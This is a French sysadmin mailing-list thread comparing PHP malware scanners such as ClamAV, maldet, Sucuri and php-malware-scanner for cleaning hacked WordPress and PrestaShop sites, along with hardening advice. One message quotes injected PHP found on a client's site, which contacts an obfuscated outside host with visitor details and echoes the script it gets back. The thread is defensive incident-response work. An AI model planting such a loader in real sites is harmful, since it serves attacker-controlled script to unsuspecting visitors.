Bonjour, Moi j'utilise WPScan sur Kali-Linux. Il est pas mal, ça permet de tester un wordpress et même essayer d'exploiter les failles. Si tu fais juste un scan il te dira si tu as des plugins avec des failles connues ou pas. quelques infos : http://kali4hackers.blogspot.fr/2013/05/wpscan-in-kali-linux-wpscan-is.html si non tu peux aussi installer l'outil sur une distrubution autre que Kali : http://wpscan.org/ A+ Le 7 mai 2015 10:10, Florian Leleu <florian.leleu(a)cognix-systems.com> a écrit : -- Bruno LEAL DE SOUSA Administrateur Systèmes et Réseaux Co-fondateur et rédacteur de *Bidouille-IT* : http://bidouilleit.com « L'échec est le fondement de la réussite. » - *Lao-Tseu*

Clamav est une bonne solution que l'on utilise dans ma boite. Nous y ajoutons également des signatures complémentaires http://sanesecurity.co.uk/usage/signatures/ Nous utilisons également maldet qui peut s'appuyer sur le moteur de clamav pour le scan des fichiers. Le seul soucis c'est qu'il ne fait que se servir du moteur et pas des signatures. Il faut donc scanner avec maldet et clamav. Une solution est d'utiliser les signatures de maldet dans clamav et de de scanner ses fichiers qu'avec ce dernier. maldet offre aussi une protection temps réel à l'aide d'inotify, mais sur nos tests sur des serveurs mutualisés, ça a tendance à planter au bout de quelques jours. Nous avons donc conserver le cron qui analyse les fichiers des 2 derniers jours. https://www.rfxn.com/projects/linux-malware-detect/

Sinon il est possible aussi de tester ses sites à l'aide de l'API google safe-browsing. https://developers.google.com/safe-browsing/

Tu peux expliquer en quoi tu fais mieux que l'existant rapidement stp ?

Le 8 mai 2015 à 12:23, Frédéric VANNIÈRE <f.vanniere(a)planet-work.com> a écrit : Petit déterrage de ce thread pour dire que j'ai à nouveau eu un client dont le site PrestaShop a été vérolé de tous les côtés il y a quelques semaines. J'ai fait des scans avec Sucuri, Virusdie et php-malware-scanner: seul ce dernier a trouvé quasiment tous les fichiers infectés :) J'essaierai de faire une PR pour les quelques fichiers qui n'ont pas été détectés dès que j'ai un peu de temps.

Le 21 avril 2017 à 12:01, Christophe Moille <whilelm(a)doomfr.com> a écrit : Déjà fait (voir mon mail du 20/05/2015) : maldet n'est pas adapté pour les scripts PHP, il ne retourne que des faux postitifs. Je n'ai pas re-testé depuis, ceci dit. -- Jonathan Leroy. _______________________________________________ Liste de diffusion du FRsAG http://www.frsag.org/

Bien le bonsoir,

J'ai suis tombé sur cet outils et comme le sujet a été évoqué récemment, je le partage : http://www.kitploit.com/2017/05/web-exploit-detector-tool-to-detect.html Par contre, je ne l'ai pas testé, je ne sais pas ce qu'il vaut.

J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés hier. J'en ai donc profité pour tester tous vos outils sur un des sites. Voici les résultats (outil : nombre de fichiers détectés) : - Maldet : 5 - ClamAV : 16 - ClamAV + signatures MalwarePatrol, SecuriteInfo, et Linux Malware Detect : 16 - Sucuri : 21 - php-malware-scanner : 22 Les 5 fichiers détectés par Maldet sont des faux positifs. Aucun autre outil n'a eu de faux positif. Je suis assez étonné car je m'attendais à ce que ce soit l'outil ayant les meilleurs résultats... ClamAV avec ou sans signatures non-officielles donne grosso-modo les mêmes résultats (il y a eu quelques detections supplémentaires sur d'autres sites). Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux fichiers de plus que Sucuri (mais en laisse passer un autre). J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :) _______________________________________________ Liste de diffusion du FRsAG http://www.frsag.org/

Florian Leleu <florian.leleu(a)cognix-systems.com> Envoyé par : "FRsAG" <frsag-bounces(a)frsag.org> 20/05/2015 10:04 A frsag(a)frsag.org cc Objet Re: [FRsAG] Détecteurs de malwares Salut, beau boulot ^^ Il y a peut être moyen de "tuner" encore plus ClamAV pourqu'il détecte mieux les "malwares PHP". En tout cas beau résultat pour php-malware-scanner!

On 20/05/2015 07:14, Jonathan Leroy wrote: J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés

J'en ai donc profité pour tester tous vos outils sur un des sites. Voici les résultats (outil : nombre de fichiers détectés) : - Maldet : 5 - ClamAV : 16 - ClamAV + signatures MalwarePatrol, SecuriteInfo, et Linux Malware Detect : 16 - Sucuri : 21 - php-malware-scanner : 22 Les 5 fichiers détectés par Maldet sont des faux positifs. Aucun autre outil n'a eu de faux positif. Je suis assez étonné car je m'attendais à ce que ce soit l'outil ayant les meilleurs résultats... ClamAV avec ou sans signatures non-officielles donne grosso-modo les mêmes résultats (il y a eu quelques detections supplémentaires sur d'autres sites). Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux fichiers de plus que Sucuri (mais en laisse passer un autre). J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :)

Le 20/05/2015 07:14, Jonathan Leroy a écrit : Nice job ! Merci du retour. Julien _______________________________________________ Liste de diffusion du FRsAG http://www.frsag.org/

Fait déjà commencer par désactiver certaines fonctionnalités dangereuses dans php (disabled_functions dans php.ini) Ensuite bloquer les requêtes http sortantes du serveur avec iptables. > Le 3 juin 2015 à 11:23, Pierre &lt;pierre(a)infoserver4u.fr&gt; a écrit : > > Hello, > > Je me permet de relancer la discutions car j'ai presque le même problème > avec un client. > > Sauf que le code change sur presque tout les fichiers. > > Voici un exemple de code : > > <?php > #568ba2# > error_reporting(0); @ini_set('display_errors',0); $wp_f67188 = > @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', > $wp_f67188) && !preg_match ('/bot/i', $wp_f67188))){^M > $wp_f0967188="http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_f67188);^M > if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = > curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt > ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M > $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif > (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) > {$wp_67188f = @file_get_contents($wp_f0967188);}^M > elseif (function_exists('fopen') && > function_exists('stream_get_contents')) > {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M > if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } > #458ba2# > ?> > Ou encore > > <?php > #5a9312# > > > if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = > curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt > ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M > $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif > (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) > {$wp_67188f = @file_get_contents($wp_f0967188);}^M > elseif (function_exists('fopen') && > function_exists('stream_get_contents')) > {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M > if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } > #/5a9312# > ?> > > > J'ai essayé beaucoup de sed et xargs, mais le code est trop complexe > pour arrive a faire un truc propre. > > find . -type f -name "*.php" -print | xargs sed -i.hacked 's/^<?php n#*# > *?>//g' > > Le seul point commun est un début <?php saute de ligne puis un # et en > fin un autre # saute de ligne ?> > > J’essaie d'utiliser https://github.com/planet-work/php-malware-scanner > > Mais cela ne semble mal fonctionner avec mon problème. > > Auriez vous une idée ? > > Merci > > Pierre > > > Le 20/05/2015 16:09, Julien Escario a écrit : >> Le 20/05/2015 07:14, Jonathan Leroy a écrit : >>> J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés hier. >>> >>> J'en ai donc profité pour tester tous vos outils sur un des sites. >> >>> Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux >>> fichiers de plus que Sucuri (mais en laisse passer un autre). >>> J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :) >> >> Nice job ! >> >> Merci du retour. >> Julien >> >> >> >> _______________________________________________ >> Liste de diffusion du FRsAG >> http://www.frsag.org/ > > _______________________________________________ > Liste de diffusion du FRsAG > http://www.frsag.org/